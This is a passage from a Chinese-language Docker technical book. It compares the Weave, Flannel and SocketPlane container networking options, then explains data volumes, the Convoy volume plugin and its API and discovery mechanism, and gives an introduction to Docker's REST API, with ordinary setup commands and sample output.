由于Docker当前overlay network driver还处于开发之中，原生的Docker网络无法满足集群部署的需要，而使用ip等命令手动配置网络又过于麻烦，因此我们需要使用一些第三方的网络方案来帮助简化网络的部署及管理。在5.1节中提到了Weave、Flannel及SocketPlane，本节将对这三个开源的Docker SDN网络方案给出一些简单的介绍及对比，读者可以自行选择，找到适合自己的方案。

提示

5.1节提到的Pipework仅仅是一个简单的配置工具，在集群部署中作用有限，本节不做介绍。Pipework的内部实现实质上与5.3节非常相似，若读者理解5.3节的内容有困难，不妨使用并阅读一下Pipework的源码，相信会有不小的收获。

5.4.1　Weave

Weave[1]是Github上一个比较热门的Docker容器网络方案，具有非常良好的易用性且功能强大。Weave的框架如图5-5所示，它包含两大主要组件：

图5-5　Weave网络架构图

·Weave：用户态的shell脚本，用于安装Weave，将container连接到Weave虚拟网络，并为它们分配IP。

·Weaver：运行于container内，每个Weave网络内的主机都要运行，是一个Go语言实现的虚拟网络路由器。不同主机之间的网络通信依赖于Weaver路由。

Weave的使用比较简单，这里以两台主机为例进行介绍。

Host1：

host1$ weave launch
host1$ weave run 10.2.1.1/24 -t -i ubuntu bash

Host2：

host2$ weave launch $HOST1
host2$ weave run 10.2.1.2/24 -t -i ubuntu bash

测试显示两个container互相之间可以通信。另外再运行一个container，分配不同的IP网段，比如10.2.2.1/24，则不能与上述两个container通信。

Weave还提供了一些有用的特性：

·weave launch[-password][-nickname]：启动时设置节点之间互通的密码。

·weave connect$OTHER_HOST：连接其他Weave host主机。

·weave attach[...]：可以为已经运行的container动态添加网络，detach命令可以将其从网络中剥离。

·weave ps：查看containers列表。

·weave status：查看Weave状态。

Weave的功能比较强大，安全方面支持host之间通信加密，满足跨主机多子网功能需求且服务质量较为稳定，支持container动态加入或剥离网络。

不过，由于Weave没有使用诸如Consul或Etcd等服务发现机制，因此也存在较大的缺点：

1）不支持服务发现，主机不能动态加入节点网络，只能手动通过weave launch或connect加入Weave网络。

2）不支持动态分配IP。所有IP需要手动管理及分配，难以保证分配的IP不冲突。

近期，Weave推出了可以对接Libnetwork remote driver的Weave Plugin，与Docker可以进行更好的整合，体验更好。读者可以访问https://github.com/weaveworks/docker-plugin尝试一下。

[1] Git仓库：https://github.com/weaveworks/weave.git。

5.4.2　Flannel

Flannel[1]的使用依赖于Etcd[2]，Etcd是CoreOS公司开发的开源的K-V存储及服务发现程序，有着大量的拥趸。在集群中，可用于在不同主机间交换配置、状态等信息，其功能强大，相应的配置也略微复杂一些。

Flannel的配置步骤大致如下。

1）配置Etcd集群。详细内容可参考：https://github.com/coreos/etcd/blob/master/Documen-tation/clustering.md。

这里以搭建包含三个主机的微型集群为例进行说明。

Host1：

$ etcd -name infra0 -initial-advertise-peer-urls http://10.110.52.38:2380
-listen-peer-urls http://10.110.52.38:2380 -initial-cluster-token etcd-cluster-1
-initial-cluster infra0=http://10.110.52.38:2380,infra1=http://10.110.52.66:2380,
infra2=http://10.110.52.69:2380 -initial-cluster-state new

Host2：

$ etcd -name infra1 -initial-advertise-peer-urls http://10.110.52.66:2380
-listen-peer-urls http://10.110.52.66:2380 -initial-cluster-token etcd-cluster-1
-initial-cluster infra0=http://10.110.52.38:2380,infra1=http://10.110.52.66:2380,
infra2=http://10.110.52.69:2380 -initial-cluster-state new

Host3：

$ etcd -name infra2 -initial-advertise-peer-urls http://10.110.52.69:2380
-listen-peer-urls http://10.110.52.69:2380 -initial-cluster-token etcd-cluster-1
-initial-cluster infra0=http://10.110.52.38:2380,infra1=http://10.110.52.66:2380,
infra2=http://10.110.52.69:2380 -initial-cluster-state new

读者需要根据自己的机器对Etcd的IP进行配置。如果Etcd集群搭建成功，则可在任意一台机器上查看集群成员列表：

$ etcdctl member list
84efd21b2aad5735: name=infra0 peerURLs=http://10.110.52.38:2380
clientURLs=http://localhost:2379,http://localhost:4001
d316da54cf580893: name=infra1 peerURLs=http://10.110.52.66:2380
clientURLs=http://localhost:2379,http://localhost:4001
695fb88716370ca9: name=infra2 peerURLs=http://10.110.52.69:2380
clientURLs=http://localhost:2379,http://localhost:4001

2）向Etcd写入Flannel的网络配置，示例如下：

$ etcdctl mkdir /coreos.com/network/
$ etcdctl set coreos.com/network/config
{
"Network": "10.1.0.0/16",
"SubnetLen": 24,
"SubnetMin": "10.1.0.0",
"SubnetMax": "10.1.128.0",
"Backend": {
"Type": "udp",
"Port": 7890
}
}

3）在集群的每台主机上以默认参数运行flanneld。

4）在每台主机上以如下方式启动Docker。

# source /run/flannel/subnet.env
# docker daemon --bip=${FLANNEL_SUBNET} --mtu=${FLANNEL_MTU}

最终建立的Flannel集群网络拓扑图如图5-6所示。

图5-6　Flannel网络架构

最终每台主机的容器都会运行在一个10.1.X.0/24的子网内，它们共同归属于10.1.0.0/16这一大网。该方式通过UDP包封装主机数据包，由Flannel转发以实现跨主机的通信。

Flannel的网络架构非常适合在k8s（Kuberntes）中使用，当然单独使用也是没问题的。Flannel在几个Docker SDN网络方案中是最成熟的，但每台主机都是一个单独子网的网络架构，灵活性显得有些不足。对于网络灵活性要求不高的Docker集群，Flannel是值得重点考虑的方案。

[1] Flannel 源码地址：https://github.com/coreos/fl annel.git。

[2] Etcd 源码地址：https://github.com/coreos/etcd.git。

5.4.3　SocketPlane

SocketPlane[1]同样是Github上关注度较高的Docker SDN方案，SocketPlane被Docker公司收购之后已经停止更新，原开发者目前正在开发Libnetwork。SocketPlane的设计思想较好，在使用便利性上具有较大的优越性，下面会简单介绍并分析。

SocketPlane的安装配置较为简单，只需要运行源码目录下的scripts/install.sh，就会将相应的shell执行程序、配置文件安装到相应目录，并且它还会从Dockerhub上拉取SocketPlane及Powerstrip两个镜像，以容器方式运行SocketPlane主程序。

SocketPlane的使用同样十分简洁，查看SocketPlane运行是否正常时，可使用如下命令：

$ docker ps
CONTAINER ID  IMAGE COMMAND CREATED STATUS PORTS NAMES
ad1bc1e981e4  clusterhq/powerstrip:v0.0.1 "twistd -noy powerst 5 hours ago Up 5 hours
powerstrip 874e27ae2e2e socketplane/socketplane "socketplane --iface 5 hours ago
Up 5 hours socketplane
$ socketplane agent logs
INFO[0000] Binding to eth1
==> WARNING: Bootstrap mode enabled! Do not enable unless necessary
==> WARNING: It is highly recommended to set GOMAXPROCS higher than 1
==> Starting Consul agent...
2015/06/09 03:46:06 consul.watch: Watch (type: nodes) errored: Get http://127.0.0.1:8500 /v1/catalog/nodes: dial tcp 127.0.0.1:8500: connection refused, retry in 5s
==> Starting Consul agent RPC...
==> Consul agent running!
Node name: 'darcy-HP'
Datacenter: 'dc1'
Server: true (bootstrap: true)
Client Addr: 127.0.0.1 (HTTP: 8500, HTTPS: -1, DNS: 8600, RPC: 8400)
Cluster Addr: 10.110.52.38 (LAN: 8301, WAN: 8302)
Gossip encrypt: false, RPC-TLS: false, TLS-Incoming: false
...
2015/06/09 08:29:31 Status of Get 200 OK 200 for
http://localhost:8500/v1/kv/network?recurse

若docker ps显示SocketPlane容器正在运行，且“socketplane agent logs”日志中无异常打印信息，则说明SocketPlane运行正常。

运行如下命令：

$ socketplane network create frontend 192.168.0.1/24

就可以创建一个名为“frontend”，IP段为192.168.0.1/24的子网。

查看当前集群内包含几个子网的代码如下：

$ socketplane network list
[
{
"gateway": "10.1.0.1",
"id": "default",
"subnet": "10.1.0.0/16",
"vlan": 1
},
{
"gateway": "192.168.0.1",
"id": "frontend",
"subnet": "192.168.0.0/24",
"vlan": 2
}
]

然后在集群的任意一台主机上运行：

$ socketplane run -n frontend -tid ubuntu:latest bash
151ce8ce494eaea2f46a8217e382a4a85702e2f8011cf20bc93943ed7ae4b6b2
$ docker exec -ti 151ce8ce494eaea2 ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
1692: ovs272ba8f: <BROADCAST,UP,LOWER_UP> mtu 1440 qdisc noqueue state UNKNOWN
group default
link/ether 02:42:c0:a8:00:02 brd ff:ff:ff:ff:ff:ff
inet 192.168.0.2/24 scope global ovs272ba8f
valid_lft forever preferred_lft forever
inet6 fe80::80ff:47ff:febf:1b78/64 scope link tentative dadfailed
valid_lft forever preferred_lft forever

即可看到容器自动从frontend子网内动态分配了一个IP。SocketPlane底层使用了Consul来进行数据同步，可以保证集群内的主机分配的IP不冲突。

SocketPlane还提供了其他功能，比如查看当前本机SocketPlane管理的容器网络相关信息：

$ socketplane info
{
"151ce8ce494eaea2f46a8217e382a4a85702e2f8011cf20bc93943ed7ae4b6b2": {
"connection_details": {
"gateway": "192.168.0.1",
"ip": "192.168.0.2",
"mac": "02:42:c0:a8:00:02",
"name": "ovs272ba8f",
"subnet": "/24"
},
"container_id":
"151ce8ce494eaea2f46a8217e382a4a85702e2f8011cf20bc93943ed7ae4b6b2",
"container_name": "/evil_lumiere",
"container_pid": "17058",
"network": "frontend",
"ovs_port_id": "ovs272ba8f"
}
}

SocketPlane底层使用OVS管理网络，在每台主机上，会创建一个名为docker0-ovs的OVS网桥，SocketPlane创建的容器通过docker0-ovs网桥通信。集群内不同主机间，利用vxlan tunnel通过docker0-ovs上的vxlan端口互相通信。

SocketPlane的网络架构（如图5-7所示）与5.3节手动搭建的网络架构有点相似，所不同的是，container与OVS网桥并非是通过一对veth pair通信的，而是直接在docker0-ovs网桥上新建了一个OVS内部端口，放置于container内部。

图5-7　SocketPlane网络架构

每次我们运行“socketplane network create”命令时，都会在运行此条命令的主机的docker0-ovs上新建一个内部端口，用作网络的网关。如上文新建了名为“frontend”网络，则对应的有一个IP为192.168.0.1的名为“frontend”的OVS网桥内部端口，同样的，默认的网络“default”有一个名为“default”的OVS内部端口作为网关。

不同主机之间通过vxlan tunnel通信。运行ovs-vsctl show命令可以更清晰地看到网桥结构：

# ovs-vsctl show
9ee0170e-4fba-4388-988b-a22db59cc5ba
Manager "ptcp:6640"
is_connected: true
Bridge "docker0-ovs"
Port frontend
tag: 2
Interface frontend
type: internal
Port "ovs272ba8f"
tag: 2
Interface "ovs272ba8f"
type: internal
Port default
tag: 1
Interface default
type: internal
Port "vxlan-10.110.52.38"
Interface "vxlan-10.110.52.38"
type: vxlan
options: {remote_ip="10.110.52.38"}
Port "vxlan-10.110.52.66"
Interface "vxlan-10.110.52.66"
type: vxlan
options: {remote_ip="10.110.52.66"}
Port "docker0-ovs"
Interface "docker0-ovs"
type: internal
ovs_version: "2.1.4"

SocketPlane底层使用Consul进行数据同步，可做到动态创建集群及分配IP，灵活性较强，功能强大；与Weave和Flannel相比，底层使用了OVS，性能也较出色，具有较大的优势。但是SocketPlane同样存在一些不足：

·网络通信质量不可靠。Container运行并加入网络后，长时间无法访问网关，测试显示，ping操作前几个数据包丢包率往往较高，且有较大延迟。

·子网隔离不彻底。不同子网之间仍然可以通信，vlan之间没有隔离。

本节介绍了Weave、Flannel、SocketPlane三个比较有代表性的容器SDN解决方案，各个方案有着截然不同的设计思想与特色，也各有自己的优势与缺点。这里并非要比较得出最优秀的解决方案，而是需要用户根据自己的实际应用场景，选择最适合的容器网络方案。Libnetwork的overlay driver发布之后，相信会给用户带来一种新的方案，请读者密切关注。

[1] SocketPlane 代码地址：https://github.com/socketplane/socketplane.git。

5.5　本章小结

本章介绍了Docker网络相关的内容。5.1节介绍了Docker当前的网络现状，以及Libnetwork的诞生背景等；5.2节重点介绍了Docker的几种网络模式，包括bridge、null、host、remote及overlay网络驱动的使用，简单剖析了其实现方法，随后讲解并演示了Docker网络相关的命令行参数的使用；5.3节使用Open vSwitch手动实现了容器跨主机多子网通信的一个网络方案，希望通过手动操作容器网络，给读者更加深刻的认识；最后一节介绍了主流的比较受关注的一些Docker SDN网络方案，读者在使用过程中，可以根据自己的需要酌情选择适合的网络方案。

网络具有天然的复杂性，Docker网络方面还并不成熟，也并不完美。但随着时间推移，随着Docker的不断成长和进步，相信未来一定会给大家提供一份足够强大的网络实现。

第6章　容器卷管理

前几章已经介绍了很多Docker相关的知识，本一章将着重介绍容器的卷管理功能。卷管理在实际应用中扮演着重要的角色，可以说任何应用只要产生数据，就会用到卷管理。

我们知道，Docker容器里产生的数据，如果不通过docker commit生成新的镜像，使数据作为镜像的一部分保存下来，就会在容器删除后丢失。为了能够持久化保存和共享容器的数据，Docker提出了卷（volume）的概念。简单来讲，卷就是目录或文件，由Docker daemon挂载到容器中，因此不属于联合文件系统，卷中的数据在容器被删除后仍然可以访问。Docker提供了两种管理数据的方式：数据卷和数据卷容器。在6.1节，将着重介绍Docker数据卷和数据卷容器。6.2节开始将介绍Docker 1.8合入的特性卷插件（volume plugin），有了卷插件就可以更方便更集中地管理容器产生的数据。

6.1　Docker卷管理基础

6.1.1　增加新数据卷

用户可以在执行docker create或docker run命令时使用-v参数来添加数据卷，也可以通过多次指定该参数来挂载多个数据卷。这里以创建busybox容器为例：

$ docker run -d -v /tmp/data --name busyboxtest busybox

其中，-v参数会在容器的/tmp/data目录下创建一个新的数据卷。

用户可以通过docker inspect命令查看数据卷在主机中的位置：

$ docker inspect busyboxtest…
"Volumes": {
"/tmp/data":
"/var/lib/docker/volumes/08c5670c709f53dd10313e4309a4bb19e883102c0ed99207c4833eb
1d1abc8e1/_data"
},
"VolumesRW": {
"/tmp/data": true
},…

从返回结果中可以看到，/tmp/data数据卷对应的主机目录位置为：

/var/lib/docker/volumes/08c5670c709f53dd10313e4309a4bb19e883102c0ed99207c4833eb1d1abc8e1/_data

6.1.2　将主机目录挂载为数据卷

-v参数除了可以用于创建数据卷外，还可以用来将Docker daemon所在主机上的文件或文件夹挂载到容器中，比如：

$ docker run -d -v /host/data:/data --name busyboxtest busybox

上述命令可以将Docker daemon所在主机的/host/data目录挂载到容器的/data路径下。将主机目录挂载为数据卷的功能在有些场景下非常有用。比如，我们把程序的编译环境打包在一个Docker镜像里，当需要编译修改过的源码时，只需要将源码目录作为数据卷挂载到Docker容器里即可。-v参数的主机目录必须使用绝对路径，如果指定路径不存在，Docker会自动创建该目录。

另外，还可以以只读的方式挂载一个数据卷，如下：

$ docker run -ti -v /host/data:/data:ro --name busyboxtest busybox
root@6ec2dc54a379:/ # echo abc > /data/id
/bin/sh: can't create /data/id: Read-only file system

注意

如果容器中/data路径已经存在，Docker会使用/host/data的内容覆盖该目录，与mount命令的行为一致。

6.1.3　创建数据卷容器

如果用户需要在容器之间共享一些需要永久存储的数据，或者想要使用一个临时容器中的相关数据，可以创建一个数据卷容器，然后使用该容器进行数据共享。

例如想要创建多个Postgres数据库，并且希望这些数据库之间共享数据，可以先创建一个数据卷容器，该容器中并不运行任何应用：

$ docker create -v /dbdata --name dbdata training/postgres /bin/true

然后启动Postgres数据库服务，使用--volumes-from参数将上面生成的数据卷挂载进来，之后启动多个容器，各个容器之间就可以通过dbdata数据卷共享数据了：

$ docker run -d --volumes-from dbdata --name db1 training/postgres
$ docker run -d --volumes-from dbdata --name db2 training/postgres

也可以使用--volume-from db1或--volume-from db2的方式挂载dbdata数据卷：

$ docker run -d --name db3 --volumes-from db1 training/postgres

使用数据卷容器存储的数据不会轻易丢失，即便删除db1、db2容器甚至是初始化该数据卷的dbdata容器，该数据卷也不会被删除。只有在删除最后一个使用该数据卷的容器时显式地指定docker rm–v$CONTAINER才会删除该数据卷。

6.1.4　数据卷的备份、转储和迁移

使用数据卷的方式管理容器数据时，可以很方便地对其中的数据进行备份、转储和迁移。可以使用如下命令将数据卷中的数据打包，并将打包后的文件拷贝到主机当前目录中：

$ docker run –-rm --volumes-from dbdata -v $(pwd):/backup ubuntu tar cvf
/backup/backup.tar /dbdata

上述命令创建了一个容器，该容器挂载了dbdata数据卷，并将主机的当前目录挂载到了容器的/backup目录中；然后在容器中使用tar命令将dbdata数据卷中的内容打包存放到/backup目录的backup.tar文件中。待容器执行结束后，备份文件就会出现在主机的当前目录。之后可以将该备份文件恢复到当前容器或新创建的容器中，完成数据的备份和迁移工作。

6.1.5　Docker卷管理的问题

虽然Docker可以很灵活地将服务器上的目录挂载到容器中，但是Docker在卷管理上还有些不尽如人意的地方：

·只支持本地数据卷。Docker没有办法把远程服务器的数据卷挂载到本机来，虽然可以手工将NFS挂载到本地，但那也需要自己做大量的工作，不方便集中部署。对于这个问题，Docker引入了卷插件机制，允许使用者以第三方插件的形式，提供对分布式存储的支持。

·缺乏对数据卷生命周期的有效管理。Docker没有办法对数据卷进行系统管理。例如，无法使用Docker命令查看当前系统的所有数据卷。再例如，之前说过只有当使用docker rm删除最后一个使用数据卷的容器时显式加上-v参数，才会删除数据卷，否则数据卷永不会被删除，并且Docker将再也无法管理该数据卷。而这就会造成一些问题，比如久而久之这些悬挂（dangling）数据卷将浪费大量的磁盘空间。

以6.1.1节创建的busyboxtest容器为例，若删除该容器时不添加-v参数。

$ docker rm busyboxtest

我们发现该容器关联的数据卷仍然存在，这就是悬挂数据卷。

$ ls /var/lib/docker/volumes
08c5670c709f53dd10313e4309a4bb19e883102c0ed99207c4833eb1d1abc8e1

对于这个问题，Docker社区正在开发docker volume命令，通过该命令可支持比较完善的卷管理。另一方面，第三方卷插件也可以提供功能更丰富更完善的卷管理器。

6.2　使用卷插件

6.2.1　卷插件简介

卷插件机制在Docker 1.8版本引入，在这之前Docker也支持一些数据卷方案，这些方法在6.1节已经介绍过，那么，为什么还要开发卷插件，卷插件能做什么事情？下面将逐步介绍Docker卷插件。

首先从一个应用需求出发，看看传统的Docker卷管理在使用上有什么缺陷。假设有一大型集团公司要部署一个覆盖全国的服务，并要求在北京、上海、深圳等几个地方均有服务器，且每个城市都要部署几十个后端服务节点（增加网络吞吐量）。部署完成后，这些节点将都会产生用户数据，比如用户登录、操作、配置等产生的私有数据，那么这些数据该如何管理和同步呢？如果某些节点挂了，这些数据又该如何迁移呢？Docker传统的卷管理，只能将本机的目录挂载到容器中，这时数据的备份、共享、迁移都将是个挑战。基于这些考虑，Docker开发了数据卷管理的接口，允许使用第三方插件来管理容器中的数据。

总而言之，开发者可以根据自己的需要开发自己的卷插件，使用自己的插件可以更方便、更灵活地将本机或远端的存储卷挂载到本地的容器中，提供比Docker自身的卷管理更丰富的功能，例如快照、备份等。

6.2.2　卷插件的使用

本节以Convoy为例，介绍卷插件的使用。Convoy是一个单节点卷管理插件，它提供了创建、删除、备份与还原数据卷等功能。除了局限于单节点部署外，可以说它在各方面都非常优秀。下面看看Convoy是如何使用的。

首先要安装Convoy插件，命令如下：

$ wget https://github.com/rancher/convoy/releases/download/v0.2.1/convoy.tar.gz
$ tar xvf convoy.tar.gz
$ cp convoy/convoy convoy/convoy-pdata_tools /usr/local/bin/
$ sudo mkdir -p /etc/docker/plugins/
$ sudo bash -c 'echo "unix:///var/run/convoy/convoy.sock" > /etc/docker/plugins/convoy.spec'

这样，Convoy就安装好了，接下来运行Convoy daemon。Convoy支持多种存储驱动，这里选择VFS，并设置路径为/data，如下：

$ sudo convoy daemon --drivers vfs --driver-opts vfs.path=/data

实际上，还可以将远端的NFS路径挂载到/data目录下，以使用远端的存储。接下来就可以使用Convoy插件了，使用方法很简单，只需要在docker run命令后加几个参数就可以了：

$ docker run -ti -v volTest:/test –-volume-driver=convoy busybox sh

docker run命令的-v选项本身是可以把host的目录挂载到容器中的，但是在指定了--volume-driver参数后，-v参数的意义就稍微有了点变化，volTest成了一个卷名字。这个时候Convoy会创建一个名字为volTest的卷，然后Docker daemon会把这个卷挂载到容器中。

另外值得注意的是，在运行这个命令之前，务必保证Convoy的插件已经成功在本机部署，否则Docker会因为找不到该插件而报错，所有创建、删除卷等操作也会失败。

除了运行容器外，还可以通过Convoy创建、删除、备份与还原数据卷。

使用Convoy创建一个卷的命令如下：

$ sudo convoy create volume_name

实际上还可以基于一个还原点来创建一个卷，这个功能相当于restore功能：

$ sudo convoy create res1 –-backup <bakup-URL>

删除一个卷：

$ sudo convoy delete volume_name

对卷做快照：

$ sudo convoy snapshot create vol1 --name snap1vol1

备份一个卷：

$ sudo convoy backup create snap1vol1 --dest vfs:///opt/convoy/

6.3　卷插件剖析

上一节以Convoy为例，介绍了卷插件如何使用。读者可能会好奇卷插件的原理以及如何实现自己的插件，下面就为大家揭开卷插件的神秘面纱。

6.3.1　卷插件工作原理

实际上，社区定义了一套标准的卷插件REST API，Docker自身实现了这套API的客户端，它会按照步骤发现、激活插件。当Docker需要创建、挂载、卸载、删除数据卷时，它会向插件发送对应的REST API，由插件来真正完成创建数据卷等工作，这就是卷插件的基本原理。下面先看一个卷插件的实现方案，如图6-1所示。

图6-1　卷插件原理

这个卷插件实现了一个daemon，这个daemon的Plugin Handler模块会监听一个端口，用来与Docker通信，并响应Docker的卷插件REST API。插件在接到API请求后，会通过Volume-Mgr模块将一个远程或本地的存储挂载到服务器端，然后将挂载的路径发送给Docker（通过VolumePath API实现，关于卷插件API下一节会讲），进而Docker把卷插件返回的路径挂载到容器中。可以想象一下，如果我们的插件使用OpenStack后端存储，那么在创建一个卷时，只是把远端的数据卷挂载到了本地容器中。当然，容器产生的数据也会存放在远端，这样容器数据的迁移和共享就很容易实现了。

卷插件本身除了实现Docker规定的接口外，还可以提供额外的功能特性，而这些功能也往往是以REST API方式实现的。以Convoy为例，当我们用convoy list/create等命令时，Convoy作为客户端会向Convoy daemon发送对应的API来执行该功能。这些私有的API会因为卷插件的不同而不同，而且这些卷插件根据不同的用途，定义的功能也不相同，有的专注于本地存储，有的专注于集中存储，还有的专注于卷的共享和迁移等。当然如果已有的插件都不满足需求，还可以自己定制开发卷插件。如果需要自行开发，可以参考Docker关于卷插件的详细文档（https://github.com/docker/docker/blob/master/docs/extend/plugin_api.md）。

6.3.2　卷插件API接口

卷插件的接口一共有6个，这些接口都是REST API，是由Docker作为Client发送给卷插件的，每个接口都有不同的含义。

·Plugin.Activate：该接口用于激活一个插件，是Docker和卷插件的握手报文。

·VolumeDriver.Create：创建一个卷，Docker会发送卷名称和参数给卷插件，卷插件会根据Docker发送过来的参数创建一个卷，并和这个卷名称关联。

·VolumeDriver.Mount：挂载一个卷到本机，Docker会把卷名称和参数发送给插件。插件会返回一个本地路径给Docker，这个路径就是卷所在的位置。Docker在创建容器的时候，会将这个路径挂载到容器中。

·VolumeDriver.Path：一个卷创建成功后，Docker会调用Path API来获取这个卷的路径，随后Docker通过调用Mount API，让插件将这个卷挂载到本机。

·VolumeDriver.Unmount：当容器退出时，Docker daemon会发送Umount API给插件，通知插件这个卷不再被使用，插件可以对该卷做些清理工作（比如引用计数减一，不同的插件行为不同）。

·VolumeDriver.Remove：删掉特定的卷时调用，当运行“docker rm-v”命令时，Docker会调用该API发送请求给插件。

这里只列出了这些API的名称，为的是方便读者理解其运行原理，在使用Docker卷插件的时候，读者还是有必要了解一些原理性的概念的。当然如果你不是Docker的开发者，则没必要了解得很详细，故而这里未把API参数一一列出，有兴趣的读者可以参考Docker的官方文档。

另外，需要了解的是，整个卷插件体系是通过卷名称（Volume Name）来管理的。比如创建卷API时，Docker会发送一个卷名称给插件，插件返回成功，同理Docker也会发送VolumePath到插件（参数也是卷名称），插件则将该卷的挂载路径发送给Docker。而且插件的CLI也是通过卷名称来备份、管理、创建卷的。

6.3.3　插件发现机制

上一节了解了卷插件的API，可以说已经学习了卷插件的很多内容，有些读者可能还有个疑问，Docker作为客户端是如何知道插件的侦听地址的呢？这就是本节要介绍的内容：Docker数据卷插件发现机制。

首先Docker是通过JSON配置文件、Unix Domain Socket（域套接字）文件或Spec后缀的配置文件来查询插件的地址。回顾下上一节介绍的docker run命令，在该命令中启动容器时可以加--volume-driver=convoy参数，这个volume-driver后面加的就是插件的名称。当Docker发现该参数的设置时，就会去几个文件夹下搜索Unix套接字文件或者相应的配置文件（这里是convoy.sock、convoy.spec或convoy.json）。

Docker首先会搜索/run/docker/plugins路径下的套接字文件，这个文件名必须和VolumeDriver名称一致（比如volume driver是convoy，那么就搜索convoy.sock）。如果找不到，就会依次到/etc/docker/plugins和/usr/lib/docker/plugins里继续搜索。搜索到了就加载该插件，如果搜索不到，那么docker run命令将返回错误。

注意

域套接字只能放在“/run/docker/plugins”目录下。另外如果插件不使用域套接字，而是使用spec或者JSON配置文件，那么文件里可以配置插件的URL，如果是HTTPS链接，还可以指定HTTPS的证书路径等。

6.4　已有的卷插件

目前社区已经有几种不同的插件。它们都是严格按照Docker Volume-Plugin REST API接口设计和实现的，只是存储不太相同，这里着重介绍两种比较主流的卷插件。

·Convoy：一种基于本地存储的单机版插件，本地支持的存储驱动包括Device Mapper、VFS、EBS等（可将NFS挂载到VFS目录下，实现跨主机存储和共享）。Convoy具有存储备份功能，可以为卷名称设置还原点，并基于还原点恢复数据。由于Convoy是个单机版插件，因此对卷的迁移和共享支持得不是很好。

·Flocker：另外一个功能很强大的卷插件，支持多种后台存储驱动，包括OpenStack Cinder、AWS EBS、EMC ScaleIO、ZFS等。虽然Flocker支持卷的迁移，但不支持卷共享（本节介绍的是目前Flocker最新的1.2.0版本，但是社区也在继续开发中，至于后续能否支持卷共享不得而知）。Flocker的逻辑过于复杂，并且Flocker Control Service是一个单点部署服务，客灾能力较差，这也是它的一个很大的缺点。图6-2是摘自官方的一张Flocker部署图（https://clusterhq.com/flocker/introduction/）。

图6-2　Flocker原理图

另外，社区里还有GlusterFS、Keywhiz、REX-Ray等插件。这五种是目前Docker官方声称支持的插件，其原理都大同小异，对于后三种插件，有兴趣的读者可以自行研究。

6.5　本章小结

本章首先介绍了Docker本身的数据卷和数据卷容器，这些特性是Docker 1.8之前的版本就支持的，也是传统的Docker用于解决数据存储的方案。但是这种方式有弊端，如果是部署大型的工程，就显得捉襟见肘了。后续又介绍了Docker的卷插件，了解了它的使用方式以及工作原理，并对比了目前主流卷插件的功能和特性。对于Docker的使用者来讲，理解卷插件的原理，以及能熟悉卷插件的功能和特性，还是有很大帮助的，尤其是在大型项目的部署上。

第7章　Docker API

简洁易用的Docker API对Docker及周边生态的迅速崛起起到了不可估量的促进作用。依赖于良好的设计以及REST架构与生俱来的优势，Docker API向业界清晰明了地展示了Docker强大的功能及灵活性。

掌握Docker API将有助于更加深入地理解Docker，并且它会对诸如“我的系统该如何与Docker集成”等问题提供帮助。本章将从Docker API的简介开始，辅以多个由浅入深的API用例进行讲解，最后通过一个更高级的综合应用总结本章内容。

7.1　关于Docker API

前文已经提到，Docker API是RESTful的。那么什么是REST，怎样设计的API可以称为RESTful API？

7.1.1　REST简介

2000年，Roy Thomas Fielding在他的博士论文Architectural Styles and the Design of Network-based Software Architectures中提出了REST（Representational State Transfer）的概念，大多数中文直接翻译为“表述性状态转移”，建议广大读者忽略这个翻译。

提示

对于REST的更细致分析已超出本书讨论范围，有兴趣的读者可参考上述论文或其他资料。

一般来讲，只要一个架构的设计满足REST，就可以称之为RESTful架构。Docker API满足REST，因此在提及Docker API特点的时候，通常也会指出其为RESTful API。

如果你在寻找一个清晰、简单、低耦合、无状态、面向资源的API设计方式，RESTful API会是一个不错的选择。它不仅充分利用了HTTP协议本身的语义，从而使你的API更易用也更具有扩展性，同时还能优雅地展示你的资源，别人甚至不需要知道具体的协议也能找到资源，比如简洁明了的：

/古文

/古文/宋词/念奴娇/赤壁怀古

假设这两个就是某系统的API，对于已经习惯在浏览器地址栏输入诸如“www.example.com/blog/20150727”的我们来说，API所暴露出来的资源就非常明显了——一个是“古文”；一个是“古文”资源下更细致的“宋词”中的“念奴娇”中的“赤壁怀古”篇。

7.1.2　Docker API初探

来看一个完整的Docker API例子——以JSON数据格式返回名为Ubuntu的镜像信息，相信读者看过之后会觉得比较容易，不难理解。

HTTP请求示例如下：

GET /images/ubuntu/json HTTP/1.1

HTTP响应示例如下：

HTTP/1.1 200 OK
Content-Type: application/json
{
"Architecture": "amd64",
"Author": "",
"Comment": "",
"Config": {
...
},
"ContainerConfig": {
...
},
"Created": "2015-06-12T15:32:30.680894574Z",
"DockerVersion": "1.6.0",
"Id":
"d0955f21bf24f5bfffd32d2d0bb669d0564701c271bc3dfc64cfc5adfdec2d07",
"Os": "linux",
"Parent":
"9fec74352904baf5ab5237caa39a84b0af5c593dc7cc08839e2ba65193024507",
"Size": 0,
"VirtualSize": 188274656
}

注：这里之所以不是Docker1.8.0 版本，是因为这个“DockerVerison”指的是创建这个镜像时使用的版本。

提示

现阶段无需太关注HTTP响应里的具体字段信息，这些将在本章后半部分进行介绍。

7.1.3　Docker API种类

目前Docker提供如下三类RESTful API：

·Docker Remote API：诸如docker run等操作最终均是通过调用Docker Remote API向Docker daemon发起请求的。

·Docker Registry API：与镜像存储有关的操作可通过Docker Registry API来完成。

·Docker Hub API：用户管理等操作可通过Docker Hub API来完成。

7.1.2节所示为Docker Remote API，本章将着重讨论前两种API。至于Docker Hub API，它与使用Docker并没有太大关系，类似Github的账户管理，主要是针对用户而不是Docker的，就不进一步展开讨论了。

提示

针对不同版本的Docker Registry（v2版本为Distribution），其API亦有v1、v2之分。约定本章所涉及Docker Registry API均为v1版本。

7.2　RESTful API应用示例

如果没有进行特殊配置，Docker会监听本机的一个unix socket，默认为unix：///var/run/docker.sock。细心的读者可能会想，那我是不是能够直接往这个socket发消息来使用Docker API？——当然！示例代码如下：

$ echo -e "GET /images/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock
HTTP/1.0 200 OK
Content-Type: application/json
Date: Mon, 01 Jun 2015 11:14:55 GMT
Content-Length: 1176
[{"Created":1430269997,"Id":"da69c3...","Labels":{},"ParentId":"7b424f...","RepoDigests":[],
"RepoTags":["ubuntu:vivid"],"Size":0,"VirtualSize":542753605}
,{"Created":1430227704,"Id":"ae8f33...","Labels":{},"ParentId":"f83879...","RepoDigests":[],
"RepoTags":["ubuntu:trusty"],"Size":1675,"VirtualSize":282802523}
